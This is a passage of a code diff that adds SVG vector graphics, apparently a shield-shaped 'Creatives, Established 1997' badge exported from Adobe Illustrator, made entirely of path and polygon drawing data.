<path fill="#bfc1c4" d="M42.4,175.2c0.9,0.7,1.8,1.5,2.7,2.2l1.2-1.6c-0.9-0.7-1.8-1.4-2.6-2.1L42.4,175.2z"/>
|
||||
<path fill="#bfc1c4" d="M17,135.1l-1.9,0.7c0.4,1.1,0.8,2.2,1.2,3.2l1.9-0.7C17.8,137.2,17.4,136.2,17,135.1z"/>
|
||||
<path fill="#bfc1c4" d="M37.3,170.5c0.8,0.8,1.7,1.6,2.5,2.4l1.4-1.5c-0.8-0.8-1.7-1.5-2.5-2.3L37.3,170.5z"/>
|
||||
<path fill="#bfc1c4" d="M13.5,122l-2,0.4c0.2,1.1,0.5,2.3,0.7,3.4l2-0.4C13.9,124.3,13.7,123.1,13.5,122z"/>
|
||||
<path fill="#bfc1c4" d="M12.5,115.3l-2,0.2c0.1,1.1,0.3,2.3,0.4,3.4l2-0.3C12.8,117.6,12.6,116.5,12.5,115.3z"/>
|
||||
<path fill="#bfc1c4" d="M59.6,186.7c1,0.5,2.1,1,3.1,1.5l0.9-1.8c-1-0.5-2-1-3-1.5L59.6,186.7z"/>
|
||||
<path fill="#bfc1c4" d="M12,108.6l-2,0.1c0,1.1,0.1,2.3,0.2,3.5l2-0.1C12.1,110.8,12,109.7,12,108.6z"/>
|
||||
<path fill="#bfc1c4" d="M28.2,160.1c0.7,0.9,1.4,1.8,2.1,2.7l1.6-1.3c-0.7-0.9-1.4-1.8-2.1-2.7L28.2,160.1z"/>
|
||||
<path fill="#bfc1c4" d="M20.7,148.5c0.5,1,1.1,2,1.7,3l1.7-1c-0.6-1-1.1-2-1.7-3L20.7,148.5z"/>
|
||||
<path fill="#bfc1c4" d="M47.9,179.5c0.9,0.7,1.9,1.3,2.8,2l1.1-1.7c-0.9-0.6-1.9-1.3-2.8-1.9L47.9,179.5z"/>
|
||||
<path fill="#bfc1c4" d="M19.5,141.4l-1.8,0.8c0.5,1.1,1,2.1,1.5,3.1l1.8-0.9C20.5,143.5,20,142.4,19.5,141.4z"/>
|
||||
<path fill="#bfc1c4" d="M12.5,95.1l-2-0.2c-0.1,1.1-0.2,2.3-0.3,3.4l2,0.2C12.3,97.3,12.4,96.2,12.5,95.1z"/>
|
||||
<path fill="#bfc1c4" d="M38.7,41.4L37.3,40c-0.8,0.8-1.6,1.6-2.4,2.5l1.5,1.4C37.1,43,37.9,42.2,38.7,41.4z"/>
|
||||
<path fill="#bfc1c4" d="M139,186.5l0.8,1.8c1-0.5,2.1-1,3.1-1.5l-0.9-1.8C141.1,185.5,140,186,139,186.5z"/>
|
||||
<path fill="#bfc1c4" d="M34.1,46.3L32.6,45c-0.8,0.9-1.5,1.8-2.2,2.6l1.6,1.3C32.6,48.1,33.4,47.2,34.1,46.3z"/>
|
||||
<path fill="#bfc1c4" d="M186.8,132.1l1.9,0.6c0.3-1.1,0.7-2.2,1-3.3l-1.9-0.5C187.4,130,187.1,131.1,186.8,132.1z"/>
|
||||
<path fill="#bfc1c4" d="M132.8,189.1l0.7,1.9c1.1-0.4,2.2-0.8,3.2-1.3l-0.8-1.9C134.9,188.3,133.8,188.7,132.8,189.1z"/>
|
||||
<path fill="#bfc1c4" d="M126.3,191.2l0.6,1.9c1.1-0.3,2.2-0.7,3.3-1l-0.6-1.9C128.5,190.6,127.4,190.9,126.3,191.2z"/>
|
||||
<path fill="#bfc1c4" d="M29.8,51.6l-1.6-1.2c-0.7,0.9-1.4,1.9-2,2.8l1.7,1.1C28.5,53.4,29.2,52.5,29.8,51.6z"/>
|
||||
<path fill="#bfc1c4" d="M60.6,25.6l-0.9-1.8c-1,0.5-2.1,1.1-3.1,1.6l1,1.8C58.6,26.7,59.6,26.1,60.6,25.6z"/>
|
||||
<path fill="#bfc1c4" d="M66.8,22.8L66,20.9c-1.1,0.4-2.1,0.9-3.2,1.4l0.8,1.8C64.7,23.7,65.8,23.2,66.8,22.8z"/>
|
||||
<path fill="#bfc1c4" d="M32.5,165.5c0.8,0.9,1.5,1.7,2.3,2.6l1.5-1.4c-0.8-0.8-1.5-1.7-2.3-2.5L32.5,165.5z"/>
|
||||
<path fill="#bfc1c4" d="M49.1,32.7l-1.2-1.6c-0.9,0.7-1.9,1.4-2.8,2.1l1.2,1.6C47.3,34,48.2,33.4,49.1,32.7z"/>
|
||||
<path fill="#bfc1c4" d="M54.7,28.9l-1-1.7c-1,0.6-2,1.2-2.9,1.9l1.1,1.7C52.8,30.1,53.8,29.5,54.7,28.9z"/>
|
||||
<path fill="#bfc1c4" d="M43.8,36.9l-1.3-1.5c-0.9,0.7-1.8,1.5-2.6,2.3l1.4,1.5C42,38.3,42.9,37.6,43.8,36.9z"/>
|
||||
<path fill="#bfc1c4" d="M92.6,196.3c1.1,0.1,2.3,0.2,3.5,0.3l0.1-2c-1.1-0.1-2.3-0.2-3.4-0.3L92.6,196.3z"/>
|
||||
<path fill="#bfc1c4" d="M26,57.2l-1.7-1.1c-0.6,1-1.2,2-1.8,2.9l1.7,1C24.8,59.1,25.4,58.1,26,57.2z"/>
|
||||
<path fill="#bfc1c4" d="M99.6,194.7l0,2c0.6,0,1.2,0,1.9,0c0.5,0,1.1,0,1.6,0l0-2C101.8,194.8,100.7,194.8,99.6,194.7z"/>
|
||||
<path fill="#bfc1c4" d="M113.1,194l0.3,2c1.1-0.1,2.3-0.3,3.4-0.5l-0.3-2C115.3,193.7,114.2,193.9,113.1,194z"/>
|
||||
<path fill="#bfc1c4" d="M106.3,194.6l0.1,2c1.1-0.1,2.3-0.1,3.5-0.3l-0.2-2C108.6,194.5,107.5,194.6,106.3,194.6z"/>
|
||||
<path fill="#bfc1c4" d="M119.8,192.9l0.4,2c1.1-0.2,2.3-0.5,3.4-0.8l-0.5-1.9C122,192.4,120.9,192.6,119.8,192.9z"/>
|
||||
<polygon fill="#bfc1c4" points="103.6,171.5 101.4,167.1 99.2,171.5 94.3,172.2 97.8,175.7 97,180.6 101.4,178.3 105.8,180.6
|
||||
105,175.7 108.5,172.2 "/>
|
||||
<polygon fill="#bfc1c4" points="76.7,57.2 76.7,56.1 63.9,56.1 63.9,57.2 63.9,58.4 76.7,58.4 "/>
|
||||
<polygon fill="#bfc1c4" points="76.7,66.6 76.7,65.5 53.9,65.5 53.9,67.7 76.7,67.7 "/>
|
||||
<polygon fill="#bfc1c4" points="138.9,57.2 138.9,56.1 126.1,56.1 126.1,57.2 126.1,58.4 138.9,58.4 "/>
|
||||
<polygon fill="#bfc1c4" points="148.9,66.6 148.9,65.5 126.1,65.5 126.1,66.6 126.1,67.7 148.9,67.7 "/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g id="DESIGNED_BY_FREEPIK">
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 16 KiB |
@@ -0,0 +1,184 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
viewBox="0 0 206.7 200.7" enable-background="new 0 0 206.7 200.7" xml:space="preserve">
|
||||
<g id="BACKGROUND" display="none">
|
||||
<rect x="-295.3" y="-55.7" display="inline" fill="#FFFFFF" width="800" height="800"/>
|
||||
</g>
|
||||
<g id="OBJECTS">
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M32.3,108.7c-1.4,0-2.6-0.2-3.6-0.5c-1-0.3-1.9-0.8-2.6-1.4c-0.7-0.6-1.2-1.4-1.7-2.3
|
||||
c-0.4-0.9-0.7-1.9-0.9-2.9c-0.2-1-0.3-2.2-0.3-3.5v-11c0-1.4,0.1-2.6,0.3-3.6s0.5-2,0.9-2.9c0.4-0.9,1-1.6,1.6-2.2
|
||||
c0.7-0.6,1.5-1,2.6-1.4c1-0.3,2.2-0.5,3.6-0.5c1.6,0,2.9,0.2,4,0.6s2,1,2.6,1.8c0.6,0.8,1.1,1.8,1.4,2.8
|
||||
c0.3,1.1,0.4,2.3,0.4,3.8v2.7h-5.5v-2.7c0-1.6-0.1-2.6-0.2-3.2c-0.3-1.1-1.1-1.6-2.4-1.7c-0.1,0-0.2,0-0.3,0
|
||||
c-0.5,0-0.9,0.1-1.3,0.2c-0.4,0.1-0.7,0.3-0.9,0.5c-0.2,0.2-0.4,0.5-0.6,0.8c-0.1,0.3-0.2,0.6-0.3,1.1
|
||||
c-0.1,0.4-0.1,0.9-0.1,1.2c0,0.4,0,0.9,0,1.4v13.3c0,1.8,0.2,3.2,0.7,3.9c0.5,0.8,1.3,1.2,2.5,1.2c0.4,0,0.8,0,1.1-0.1
|
||||
c0.3-0.1,0.6-0.2,0.8-0.4c0.2-0.1,0.4-0.4,0.5-0.6c0.1-0.3,0.3-0.5,0.3-0.8c0.1-0.2,0.1-0.6,0.2-1c0-0.4,0.1-0.8,0.1-1.1
|
||||
c0-0.3,0-0.7,0-1.2v-2.8h5.5v2.6c0,1.2-0.1,2.2-0.2,3.2c-0.2,0.9-0.4,1.8-0.8,2.6c-0.4,0.8-0.9,1.5-1.5,2.1
|
||||
c-0.6,0.5-1.4,1-2.4,1.3C34.7,108.5,33.6,108.7,32.3,108.7z"/>
|
||||
<path fill="#2B292A" d="M44.7,108.3V76.8H52c1.7,0,3.1,0.1,4.3,0.4c1.2,0.3,2.2,0.7,3.1,1.4s1.5,1.5,2,2.6s0.7,2.4,0.7,4
|
||||
c0,2-0.3,3.6-0.9,4.8c-0.6,1.3-1.6,2.2-2.9,2.7l4.4,15.5h-5.8L53,93.9h-2.5v14.4H44.7z M50.5,90.3h1.4c1.7,0,2.9-0.4,3.6-1.1
|
||||
c0.7-0.7,1.1-2,1.1-3.7c0-1.7-0.3-2.9-0.9-3.6c-0.6-0.7-1.8-1.1-3.4-1.1h-1.7V90.3z"/>
|
||||
<path fill="#2B292A" d="M66.3,108.3V76.8h13.2v4H72v9h5.9v4H72v10.4h7.5v4H66.3z"/>
|
||||
<path fill="#2B292A" d="M81.2,108.3l6.4-31.5h6l6.4,31.5h-5.3l-1.3-7.3h-5.4l-1.3,7.3H81.2z M88.6,97.2h4.2l-2.1-12.9
|
||||
L88.6,97.2z"/>
|
||||
<path fill="#2B292A" d="M105.1,108.3V81.1h-5.3v-4.2h16.1v4.2h-5.1v27.2H105.1z"/>
|
||||
<path fill="#2B292A" d="M118.6,108.3V76.8h5.7v31.5H118.6z"/>
|
||||
<path fill="#2B292A" d="M134,108.3l-6.4-31.5h5.1l4.1,21.9l3.9-21.9h5.2l-6.4,31.5H134z"/>
|
||||
<path fill="#2B292A" d="M149.2,108.3V76.8h13.2v4h-7.4v9h5.9v4h-5.9v10.4h7.5v4H149.2z"/>
|
||||
<path fill="#2B292A" d="M173.7,108.7c-5.5,0-8.5-3.2-8.7-9.6l5-1c0.1,4.2,1.3,6.2,3.6,6.2c0.9,0,1.5-0.3,1.9-0.8
|
||||
c0.4-0.5,0.6-1.2,0.6-2.1c0-0.9-0.2-1.7-0.5-2.4s-0.7-1.3-1.1-1.8c-0.4-0.5-1-1-1.8-1.7l-4.1-3.6c-1.2-1.1-2.1-2.2-2.7-3.3
|
||||
c-0.6-1.1-0.9-2.6-0.9-4.3c0-2.4,0.7-4.3,2.2-5.7c1.4-1.4,3.4-2,5.9-2.1c1.2,0,2.2,0.1,3.1,0.4c0.9,0.3,1.6,0.7,2.2,1.2
|
||||
c0.6,0.5,1.1,1.1,1.4,1.9c0.4,0.7,0.7,1.5,0.9,2.3c0.2,0.8,0.3,1.7,0.4,2.7l-4.9,1c0-0.6-0.1-1.2-0.1-1.7
|
||||
c-0.1-0.5-0.2-0.9-0.3-1.4c-0.1-0.5-0.3-0.9-0.5-1.2c-0.2-0.3-0.5-0.5-0.9-0.7s-0.8-0.2-1.3-0.2c-0.8,0.1-1.5,0.3-1.9,0.8
|
||||
c-0.5,0.5-0.7,1.2-0.7,2.1c0,1,0.2,1.8,0.6,2.5s1,1.4,1.9,2.1l4.1,3.6c0.7,0.6,1.3,1.2,1.8,1.8c0.5,0.6,1,1.2,1.5,2
|
||||
c0.5,0.7,0.8,1.6,1.1,2.5c0.2,0.9,0.4,1.8,0.4,2.8c0,2.3-0.7,4.2-2.2,5.6S176.1,108.7,173.7,108.7z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M59,52.8v1.1h-3.9v2h3.5v1.1h-3.5v2h4V60h-5.3v-7.2H59z"/>
|
||||
<path fill="#2B292A" d="M62.9,53.9c-0.7,0-1.2,0.3-1.2,0.8c0,1.6,3.9,0.7,3.9,3.3c0,1.3-1.1,2.1-2.7,2.1c-1.1,0-2.2-0.5-2.9-1.1
|
||||
l0.5-1c0.7,0.7,1.7,1,2.4,1c0.8,0,1.3-0.3,1.3-0.9c0-1.6-3.9-0.7-3.9-3.3c0-1.2,1.1-2,2.6-2c0.9,0,1.8,0.3,2.5,0.7L65,54.6
|
||||
C64.2,54.1,63.4,53.9,62.9,53.9z"/>
|
||||
<path fill="#2B292A" d="M71.9,52.8v1.1h-2.3V60h-1.2v-6.1h-2.3v-1.1H71.9z"/>
|
||||
<path fill="#2B292A" d="M76.9,58.4h-3.6L72.6,60h-1.3l3.2-7.2h1.2l3.1,7.2h-1.3L76.9,58.4z M76.4,57.3l-1.4-3.2l-1.4,3.2H76.4z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M85.3,54.6c0,0.8-0.5,1.4-1.3,1.6c1,0.2,1.5,0.9,1.5,1.8c0,1.2-1,2-2.6,2h-3.2v-7.2h3.1
|
||||
C84.4,52.8,85.3,53.5,85.3,54.6z M84.1,54.8c0-0.6-0.5-0.9-1.2-0.9H81v1.9h1.8C83.6,55.8,84.1,55.5,84.1,54.8z M84.4,57.9
|
||||
c0-0.6-0.6-1-1.5-1H81v2.1h1.8C83.8,58.9,84.4,58.6,84.4,57.9z"/>
|
||||
<path fill="#2B292A" d="M88.3,52.8v6.1h3.1V60h-4.3v-7.2H88.3z"/>
|
||||
<path fill="#2B292A" d="M93.7,52.8V60h-1.2v-7.2H93.7z"/>
|
||||
<path fill="#2B292A" d="M97.9,53.9c-0.7,0-1.2,0.3-1.2,0.8c0,1.6,3.9,0.7,3.9,3.3c0,1.3-1.1,2.1-2.7,2.1c-1.1,0-2.2-0.5-2.9-1.1
|
||||
l0.5-1c0.7,0.7,1.7,1,2.4,1c0.8,0,1.3-0.3,1.3-0.9c0-1.6-3.9-0.7-3.9-3.3c0-1.2,1.1-2,2.6-2c0.9,0,1.8,0.3,2.5,0.7l-0.5,1.1
|
||||
C99.2,54.1,98.4,53.9,97.9,53.9z"/>
|
||||
<path fill="#2B292A" d="M103.2,52.8V56h3.8v-3.1h1.2V60H107v-3h-3.8v3H102v-7.2H103.2z"/>
|
||||
<path fill="#2B292A" d="M115.3,52.8v1.1h-3.9v2h3.5v1.1h-3.5v2h4V60h-5.3v-7.2H115.3z"/>
|
||||
<path fill="#2B292A" d="M123.5,56.4c0,2.1-1.6,3.6-3.7,3.6h-2.9v-7.2h2.9C122,52.8,123.5,54.3,123.5,56.4z M122.3,56.4
|
||||
c0-1.5-1.1-2.5-2.5-2.5h-1.7v5h1.8C121.2,58.9,122.3,57.9,122.3,56.4z"/>
|
||||
<path fill="#2B292A" d="M130.8,52.8V60h-1.2v-6.1H128v-1.1H130.8z"/>
|
||||
<path fill="#2B292A" d="M136,59.1c1.4,0,2-1,2-2.6c-0.4,0.7-1,1-2,1c-1.4,0-2.3-0.9-2.3-2.3c0-1.5,1-2.4,2.5-2.4
|
||||
c1.8,0,2.9,1.3,2.9,3.5c0,2.3-1.2,3.8-3.1,3.8c-0.7,0-1.6-0.2-2.1-0.5l0.5-0.9C134.8,58.9,135.4,59.1,136,59.1z M134.8,55.2
|
||||
c0,0.8,0.5,1.3,1.4,1.3c1,0,1.5-0.6,1.5-1.4c0-0.6-0.4-1.3-1.5-1.3C135.4,53.8,134.8,54.3,134.8,55.2z"/>
|
||||
<path fill="#2B292A" d="M142.3,59.1c1.4,0,2-1,2-2.6c-0.4,0.7-1,1-2,1c-1.4,0-2.3-0.9-2.3-2.3c0-1.5,1-2.4,2.5-2.4
|
||||
c1.8,0,2.9,1.3,2.9,3.5c0,2.3-1.2,3.8-3.1,3.8c-0.7,0-1.6-0.2-2.1-0.5l0.5-0.9C141.2,58.9,141.7,59.1,142.3,59.1z M141.2,55.2
|
||||
c0,0.8,0.5,1.3,1.4,1.3c1,0,1.5-0.6,1.5-1.4c0-0.6-0.4-1.3-1.5-1.3C141.7,53.8,141.2,54.3,141.2,55.2z"/>
|
||||
<path fill="#2B292A" d="M151.9,52.8v0.9l-3,6.3h-1.3l3-6.1h-3l0,1h-1.1v-2.1H151.9z"/>
|
||||
</g>
|
||||
<path fill="#2B292A" d="M46.6,46.9l0.5,1.9c1.1-0.3,2.2-0.6,3.3-0.9L49.9,46C48.8,46.3,47.7,46.6,46.6,46.9z"/>
|
||||
<path fill="#2B292A" d="M128.9,169.7l1.1,1.7c1-0.6,1.9-1.3,2.8-2l-1.2-1.6C130.8,168.4,129.8,169,128.9,169.7z"/>
|
||||
<path fill="#2B292A" d="M117.1,176.5l0.9,1.8c1-0.5,2.1-1,3.1-1.6l-0.9-1.8C119.1,175.5,118.1,176,117.1,176.5z"/>
|
||||
<path fill="#2B292A" d="M123.1,173.3l1,1.7c1-0.6,2-1.2,3-1.8l-1.1-1.7C125.1,172.1,124.1,172.7,123.1,173.3z"/>
|
||||
<path fill="#2B292A" d="M170.6,120.5l-1.8-0.8c-0.5,1-0.9,2.1-1.4,3.1l1.8,0.9C169.7,122.6,170.2,121.5,170.6,120.5z"/>
|
||||
<path fill="#2B292A" d="M58.7,152.8l1.5-1.3c-0.7-0.8-1.4-1.7-2.1-2.5l-0.1-0.1l-1.6,1.3l0.1,0.1C57.3,151.1,58,151.9,58.7,152.8
|
||||
z"/>
|
||||
<path fill="#2B292A" d="M40.2,123.6l1.8-0.9c-0.5-1-1-2.1-1.4-3.1l-1.8,0.8C39.2,121.5,39.7,122.5,40.2,123.6z"/>
|
||||
<path fill="#2B292A" d="M110.9,179.3l0.8,1.9c1.1-0.4,2.1-0.9,3.2-1.4l-0.8-1.8C113,178.4,111.9,178.8,110.9,179.3z"/>
|
||||
<path fill="#2B292A" d="M94.5,179.7c1,0.5,2.1,0.9,3.2,1.4l0.8-1.9c-1-0.4-2.1-0.9-3.1-1.3L94.5,179.7z"/>
|
||||
<path fill="#2B292A" d="M88.3,176.7c1,0.5,2.1,1.1,3.1,1.6l0.9-1.8c-1-0.5-2-1-3-1.6L88.3,176.7z"/>
|
||||
<path fill="#2B292A" d="M104.7,181.6c-1-0.3-2.1-0.7-3.1-1.1l-0.7,1.9c1.1,0.4,2.2,0.8,3.3,1.2l0.5-1.3l0.5,1.4l0.1,0
|
||||
c1.1-0.4,2.1-0.7,3.2-1.1l-0.7-1.9C106.7,180.9,105.7,181.2,104.7,181.6z"/>
|
||||
<path fill="#2B292A" d="M167.7,126.7l-1.8-0.9c-0.5,1-1,2-1.6,3l1.8,0.9C166.7,128.8,167.2,127.8,167.7,126.7z"/>
|
||||
<path fill="#2B292A" d="M152.8,150.2L152.8,150.2l-1.5-1.3l-0.1,0.1c-0.7,0.9-1.4,1.7-2.1,2.6l1.5,1.3
|
||||
C151.4,152,152.1,151.1,152.8,150.2z"/>
|
||||
<path fill="#2B292A" d="M24.9,53.2l-2,0.1c0.1,1.1,0.2,2.3,0.3,3.4l2-0.2C25.1,55.5,25,54.3,24.9,53.2z"/>
|
||||
<path fill="#2B292A" d="M164.5,132.9l-1.8-1c-0.6,1-1.1,2-1.7,3l1.7,1C163.3,134.9,163.9,133.9,164.5,132.9z"/>
|
||||
<path fill="#2B292A" d="M69.7,161.2c-0.8-0.8-1.7-1.5-2.5-2.3l-1.4,1.4c0.8,0.8,1.7,1.6,2.5,2.4L69.7,161.2z"/>
|
||||
<path fill="#2B292A" d="M64.8,156.5c-0.8-0.8-1.6-1.6-2.3-2.5l-1.5,1.4c0.8,0.9,1.6,1.7,2.4,2.5L64.8,156.5z"/>
|
||||
<path fill="#2B292A" d="M139.6,161.3l1.3,1.5c0.9-0.8,1.7-1.6,2.5-2.4l-1.4-1.4C141.3,159.7,140.5,160.5,139.6,161.3z"/>
|
||||
<path fill="#2B292A" d="M43.2,129.8l1.8-0.9c-0.5-1-1-2-1.6-3l-1.8,0.9C42.2,127.7,42.7,128.8,43.2,129.8z"/>
|
||||
<path fill="#2B292A" d="M157.1,144.6l-1.6-1.2c-0.7,0.9-1.3,1.9-2,2.8l1.6,1.2C155.7,146.5,156.4,145.6,157.1,144.6z"/>
|
||||
<path fill="#2B292A" d="M101,25.8l-1.1-1.7C99,24.7,98,25.3,97,25.9l1.1,1.7C99.1,27,100.1,26.4,101,25.8z"/>
|
||||
<path fill="#2B292A" d="M160.9,138.8l-1.7-1.1c-0.6,1-1.2,1.9-1.9,2.9l1.7,1.1C159.7,140.8,160.3,139.8,160.9,138.8z"/>
|
||||
<path fill="#2B292A" d="M148.4,155.4l-1.5-1.4c-0.8,0.8-1.6,1.7-2.3,2.5l1.4,1.4C146.8,157.1,147.6,156.3,148.4,155.4z"/>
|
||||
<path fill="#2B292A" d="M82.2,173.2c1,0.6,2,1.2,3,1.8l1-1.7c-1-0.6-2-1.2-2.9-1.8L82.2,173.2z"/>
|
||||
<path fill="#2B292A" d="M134.4,165.7l1.2,1.6c0.9-0.7,1.8-1.4,2.7-2.2l-1.3-1.5C136.2,164.2,135.3,165,134.4,165.7z"/>
|
||||
<path fill="#2B292A" d="M91.1,29.4l1,1.8c1-0.6,2-1.1,3-1.7l-1-1.7C93.1,28.3,92.1,28.8,91.1,29.4z"/>
|
||||
<path fill="#2B292A" d="M108.5,25.9c1,0.6,1.9,1.2,2.9,1.9l1.1-1.7c-1-0.6-1.9-1.2-2.9-1.8L108.5,25.9z"/>
|
||||
<path fill="#2B292A" d="M40,48.6l0.4,2c1.1-0.3,2.3-0.5,3.4-0.8l-0.5-2C42.2,48,41.1,48.3,40,48.6z"/>
|
||||
<path fill="#2B292A" d="M114.4,29.5c1,0.6,2,1.2,3,1.7l1-1.8c-1-0.6-2-1.1-3-1.7L114.4,29.5z"/>
|
||||
<path fill="#2B292A" d="M120.4,32.9c1,0.5,2,1.1,3.1,1.6l0.9-1.8c-1-0.5-2-1-3-1.6L120.4,32.9z"/>
|
||||
<path fill="#2B292A" d="M126.6,36c1,0.5,2.1,1,3.1,1.5l0.8-1.8c-1-0.5-2.1-1-3.1-1.4L126.6,36z"/>
|
||||
<path fill="#2B292A" d="M78.9,35.6l0.8,1.8c1.1-0.5,2.1-1,3.1-1.5L82,34.1C81,34.6,80,35.1,78.9,35.6z"/>
|
||||
<path fill="#2B292A" d="M59.8,43l0.6,1.9c1.1-0.4,2.2-0.7,3.3-1.1L63,41.9C61.9,42.3,60.9,42.7,59.8,43z"/>
|
||||
<path fill="#2B292A" d="M53.2,45.1l0.6,1.9c1.1-0.3,2.2-0.7,3.3-1l-0.6-1.9C55.4,44.4,54.3,44.8,53.2,45.1z"/>
|
||||
<path fill="#2B292A" d="M66.2,40.8l0.7,1.9c1.1-0.4,2.2-0.8,3.2-1.2l-0.7-1.9C68.4,40,67.3,40.4,66.2,40.8z"/>
|
||||
<path fill="#2B292A" d="M72.6,38.3l0.8,1.9c1.1-0.4,2.1-0.9,3.2-1.3L75.8,37C74.7,37.4,73.7,37.9,72.6,38.3z"/>
|
||||
<path fill="#2B292A" d="M132.9,38.8c1.1,0.5,2.1,0.9,3.2,1.3l0.8-1.9c-1.1-0.4-2.1-0.9-3.2-1.3L132.9,38.8z"/>
|
||||
<path fill="#2B292A" d="M85.1,32.6l0.9,1.8c1-0.5,2.1-1.1,3.1-1.6L88.1,31C87.1,31.6,86.1,32.1,85.1,32.6z"/>
|
||||
<path fill="#2B292A" d="M179.2,52.6c1.1,0.2,2.3,0.4,3.4,0.6l0.3-2c-1.1-0.2-2.3-0.4-3.4-0.6L179.2,52.6z"/>
|
||||
<path fill="#2B292A" d="M26.5,51.2l0.3,2c1.1-0.2,2.3-0.4,3.4-0.6l-0.4-2C28.8,50.8,27.6,51,26.5,51.2z"/>
|
||||
<path fill="#2B292A" d="M184.2,56.7l2,0.2c0.1-1.2,0.2-2.3,0.3-3.4l-2-0.1C184.4,54.4,184.3,55.5,184.2,56.7z"/>
|
||||
<path fill="#2B292A" d="M183.5,63.5l2,0.2c0.1-1.1,0.3-2.3,0.4-3.4l-2-0.2C183.8,61.2,183.6,62.4,183.5,63.5z"/>
|
||||
<path fill="#2B292A" d="M139.3,41.5c1.1,0.4,2.2,0.8,3.2,1.2l0.7-1.9c-1.1-0.4-2.1-0.8-3.2-1.2L139.3,41.5z"/>
|
||||
<path fill="#2B292A" d="M71,165c0.9,0.7,1.8,1.5,2.7,2.2l1.2-1.6c-0.9-0.7-1.8-1.4-2.6-2.1L71,165z"/>
|
||||
<path fill="#2B292A" d="M76.5,169.3c0.9,0.7,1.9,1.4,2.8,2l1.1-1.7c-0.9-0.6-1.9-1.3-2.8-2L76.5,169.3z"/>
|
||||
<path fill="#2B292A" d="M23.5,60.2c0.1,1.1,0.2,2.3,0.4,3.4l2-0.2c-0.1-1.1-0.3-2.3-0.4-3.4L23.5,60.2z"/>
|
||||
<path fill="#2B292A" d="M152.4,46c1.1,0.3,2.2,0.7,3.3,1l0.6-1.9c-1.1-0.3-2.2-0.7-3.3-1L152.4,46z"/>
|
||||
<path fill="#2B292A" d="M159,48c1.1,0.3,2.2,0.6,3.3,0.9l0.5-1.9c-1.1-0.3-2.2-0.6-3.3-0.9L159,48z"/>
|
||||
<path fill="#2B292A" d="M172.4,51.3c1.1,0.2,2.3,0.5,3.4,0.7l0.4-2c-1.1-0.2-2.3-0.5-3.4-0.7L172.4,51.3z"/>
|
||||
<path fill="#2B292A" d="M145.8,43.9c1.1,0.4,2.2,0.8,3.3,1.1l0.6-1.9c-1.1-0.4-2.2-0.7-3.2-1.1L145.8,43.9z"/>
|
||||
<path fill="#2B292A" d="M33.3,50l0.4,2c1.1-0.2,2.3-0.5,3.4-0.7l-0.4-2C35.5,49.5,34.4,49.8,33.3,50z"/>
|
||||
<path fill="#2B292A" d="M165.7,49.7c1.1,0.3,2.2,0.5,3.4,0.8l0.4-2c-1.1-0.3-2.2-0.5-3.3-0.8L165.7,49.7z"/>
|
||||
<path fill="#2B292A" d="M104.7,23.3c0.3,0.2,0.6,0.4,0.9,0.6l1.1-1.7c-0.5-0.3-1-0.7-1.4-1l-0.6-0.4l-0.6,0.4
|
||||
c-0.4,0.3-0.9,0.6-1.3,0.9l1.1,1.7C104.2,23.7,104.4,23.5,104.7,23.3z"/>
|
||||
<path fill="#2B292A" d="M46.6,135.8l1.7-1c-0.6-1-1.1-2-1.7-3l-1.8,1C45.5,133.8,46,134.8,46.6,135.8z"/>
|
||||
<path fill="#2B292A" d="M55.9,146.1c-0.7-0.9-1.4-1.8-2-2.8l-1.6,1.2c0.7,0.9,1.4,1.9,2,2.8L55.9,146.1z"/>
|
||||
<path fill="#2B292A" d="M52,140.6c-0.6-0.9-1.3-1.9-1.9-2.9l-1.7,1.1c0.6,1,1.3,2,1.9,2.9L52,140.6z"/>
|
||||
<path fill="#2B292A" d="M20.6,117.6c6.1,16.2,14,30.3,23.5,42.3c14.6,18.2,33.1,31.2,55,38.6c1.7,0.6,3.3,1.1,5,1.6l0.5,0.1
|
||||
l0.5-0.1c0.8-0.2,1.7-0.5,2.5-0.8c0.8-0.3,1.7-0.5,2.5-0.8c21.9-7.4,40.4-20.4,55-38.6c9.6-11.9,17.4-26.1,23.5-42.3h17.6
|
||||
l-7.1-24.9l7-26.4H201c1.9-15.8,1.7-26.5,1.7-26.7l0-1.5l-1.5-0.2c-20.1-2.1-38.8-6.4-55.5-13c-17-6.6-28.4-14.1-34.9-19.2
|
||||
c-0.4-0.3-0.9-0.7-1.3-1c-1.2-1-2.4-2-3.6-3l-1.2-1.1l-1.2,1.1c-0.8,0.7-1.7,1.5-2.6,2.2c-0.8,0.7-1.5,1.3-2.3,1.8
|
||||
c-6.5,5.1-17.8,12.5-34.9,19.2C47,31.5,28.3,35.8,8.3,37.9L6.8,38l0,1.5c0,0.2-0.2,10.9,1.7,26.7H0.8l5.8,27l-5.8,24.3H20.6z
|
||||
M10.2,41.1c19.8-2.2,38.3-6.5,54.9-13c17.4-6.8,29-14.4,35.7-19.7c0.8-0.6,1.6-1.2,2.4-1.9c0.5-0.4,1-0.9,1.5-1.3
|
||||
c0.8,0.7,1.7,1.4,2.5,2.1c0.4,0.4,0.9,0.7,1.4,1.1c6.7,5.2,18.3,12.9,35.7,19.7c16.6,6.5,35.1,10.9,54.9,13
|
||||
c0,3.5-0.2,12.7-1.7,25.1h-5.6c1-7.6,1.4-14,1.6-18.6l0.1-1.6l-1.6-0.2c-17.8-2.4-34.5-6.6-49.7-12.6c-14-5.5-26.7-12.4-36.6-20
|
||||
l-1.1-0.8l-1.1,0.8c-9.9,7.6-22.6,14.6-36.6,20c-15.2,5.9-31.9,10.2-49.7,12.6l-1.6,0.2l0.1,1.6c0.2,4.6,0.6,11,1.6,18.6h-5.6
|
||||
